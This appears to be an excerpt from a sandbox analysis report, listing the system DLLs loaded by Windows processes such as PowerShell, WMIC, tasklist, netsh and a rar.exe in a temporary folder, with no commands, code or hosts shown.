              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\tree.comSection loaded: ulib.dll
              Source: C:\Windows\System32\tree.comSection loaded: fsutilext.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: ifmon.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: mprapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: rasmontr.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: rasapi32.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: fwpuclnt.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: rasman.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: mfc42u.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: rasman.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: authfwcfg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: fwpolicyiomgr.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: firewallapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: dnsapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: fwbase.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: dhcpcmonitor.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: dot3cfg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: dot3api.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: onex.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: eappcfg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: ncrypt.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: eappprxy.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: ntasn1.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: fwcfg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: hnetmon.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: netshell.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: nlaapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: netsetupapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: netiohlp.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: winnsi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: nettrace.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: nshhttp.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: httpapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: nshipsec.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: activeds.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: polstore.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: winipsec.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: adsldpc.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: nshwfp.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: cabinet.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: p2pnetsh.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: p2p.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: rpcnsh.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wcnnetsh.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wlanapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: whhelper.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wlancfg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wshelper.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wevtapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: mswsock.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wwancfg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wwapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wcmapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: rmclient.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: mobilenetworking.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: peerdistsh.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: slc.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: sppc.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: ktmw32.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: mprmsg.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\netsh.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\tree.comSection loaded: ulib.dll
              Source: C:\Windows\System32\tree.comSection loaded: fsutilext.dll
              Source: C:\Windows\System32\tree.comSection loaded: ulib.dll
              Source: C:\Windows\System32\tree.comSection loaded: fsutilext.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: wkscli.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\getmac.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dll
              Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dll
              Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dll
              Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dll
              Source: C:\Windows\System32\tree.comSection loaded: ulib.dll
              Source: C:\Windows\System32\tree.comSection loaded: fsutilext.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: version.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: winsta.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\tasklist.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\tree.comSection loaded: ulib.dll
              Source: C:\Windows\System32\tree.comSection loaded: fsutilext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\tree.comSection loaded: ulib.dll
              Source: C:\Windows\System32\tree.comSection loaded: fsutilext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: powrprof.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: umpdc.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: wldp.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: propsys.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: profapi.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: dpapi.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: rsaenh.dll
              Source: C:\Users\user\AppData\Local\Temp\_MEI75282\rar.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: mpclient.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: secur32.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: sspicli.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: version.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: msasn1.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: kernel.appcore.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: userenv.dll
              Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
